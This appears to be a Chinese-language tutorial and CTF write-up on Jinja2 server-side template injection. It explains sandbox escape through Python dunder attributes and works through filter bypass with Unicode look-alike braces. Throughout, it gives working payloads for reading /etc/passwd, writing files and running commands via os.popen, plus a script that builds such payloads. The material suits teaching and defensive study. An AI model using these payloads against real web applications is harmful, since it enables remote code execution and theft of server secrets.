SSTI 模板注入介绍
SSTI(Server-Side Template Injection)模板注入是一种特殊的代码注入攻击,在使用模板引擎的 Web 应用程序中广泛存在。攻击者通过输入恶意数据,触发模板引擎解析执行攻击代码,从而控制应用程序并获取敏感信息。
SSTI 模板注入攻击原理与利用。Jinja2 引擎允许访问 Python 内置变量,攻击者可通过特殊方法调用 eval 等函数实现沙盒逃逸。在 Web 安全挑战中,需识别输入点,构造 Payload 绕过字符过滤,读取敏感文件获取 Flag。

SSTI(Server-Side Template Injection)模板注入是一种特殊的代码注入攻击,在使用模板引擎的 Web 应用程序中广泛存在。攻击者通过输入恶意数据,触发模板引擎解析执行攻击代码,从而控制应用程序并获取敏感信息。
以下是一个基于 Jinja2 模板引擎的 SSTI 模板注入攻击案例:
首先,攻击者访问目标网站并找到一个可以利用的输入点,如搜索框或评论框等。
攻击者在输入框中输入以下 Jinja2 代码:
{{config.items()}}
该代码将显示应用程序的配置项。
[('SECRET_KEY', '123456789'), ('SQLALCHEMY_DATABASE_URI', 'mysql://root:password@localhost/test'), ('DEBUG', 'True')]
通过 SSTI 模板注入攻击,攻击者可以轻松地获取应用程序的敏感信息并最终控制服务器。因此,开发人员应该采取必要的安全措施,防止 SSTI 模板注入攻击。
Jinja2 模板中可以访问一些 Python 内置变量,如 [] {} 等,并且能够使用 Python 变量类型中的一些函数,这里其实就引出了 Python 沙盒逃逸。
Python 的内置函数非常强大,可以调用一切函数做自己想做的事情。
在 Python 的 object 类中集成了很多的基础函数,我们想要调用的时候也是需要用 object 去操作的,这是两种创建 object 的方法。
Python 中一些常见的特殊方法:
__class__ 返回调用的参数类型。__base__ 返回基类__mro__ 允许我们在当前 Python 环境下追溯继承树__subclasses__() 返回子类现在我们的思路就是从一个内置变量调用 __class__.__bases__ 等隐藏属性,去找到一个函数,然后调用其 __globals__['builtins'] 即可调用 eval 等执行任意代码。
builtins 即是引用,Python 程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于 builtins 却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块。
().__class__.__bases__[0]
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
[].__class__.__bases__[0]
>>> ''.__class__.__base__.__subclasses__() # 返回子类的列表
[...]
# 从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__ <slot wrapper '__init__' of 'object' objects>
# wrapper 是指这些函数并没有被重载,这时他们并不是 function,不具有__globals__属性
# 再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__
>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval'] # 然后用 eval 执行命令即可
安全研究员给出的几个常见 Payload:
1. Python 2
文件读取和写入
# 读文件
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
# 写文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
任意执行
每次执行都要先写然后编译执行
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}
2. Python 3
因为 Python 3 没有 file 了,所以用的是 open
# 文件读取
http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
# 任意执行
http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
# 命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
# 文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
寻找 function 的过程可以用一个小脚本解决,脚本找到被重载过的 function,然后组成 payload。
#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
for attr in searchList:
if hasattr(i, attr):
if eval('str(i.'+attr+')[1:9]') == 'function':
for goal in neededFunction:
if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
if pay != 1:
print(i.__name__, ":", attr, goal)
else:
print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")
Web 安全挑战 easy_web,主要考察 SSTI 漏洞利用。
打开链接页面,尝试输入任意测试字符串。
后端基于 Python,想到 SSTI 模板注入。
确定了服务器会将我们输入的参数当作 HTML 语言解析。
对输入框进行模糊测试,测试的返回是所有的单字符,即 ASCII 中 33-127 的所有字符(特殊符号,字母大小写,数字)。返回长度为 198 的内容表示该字符被过滤。
检测到特定字符被过滤,例如直接输入 { 会被过滤掉,因此我们可以使用替代字符绕过。
进行过滤字符替换,构造 Payload。
""" { -> ︷ /﹛ } -> ︸ /﹜ ' -> ' , -> , """
str='{{\'\'.__class__.__mro__[1].__subclasses__()[91].get_data(0,\'/flag\')}}'
# 原字符串
# 如果需要替换 replace(被替换的字符,替换后的字符)
str=str.replace('{','︷')
str=str.replace('}','︸')
str=str.replace('\'',''')
print(str)
得到替换后的函数:
︷︷().__class__.__mro__[1].__subclasses__()[91].__subclasses__()[91].__init__.__globals__.__builtins__['open']('/flag').read()︸︸
︷︷().__class__.__bases__[0].__subclasses__()[91].__init__.__globals__.__builtins__['open']('/flag').read()︸︸
︷︷().__class__.__bases__[0].__subclasses__()[91].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()")︸︸
最终 Flag 为:flag{8f604f91-c36a-4413-bdaf-e786ffbfda61}

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online
将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online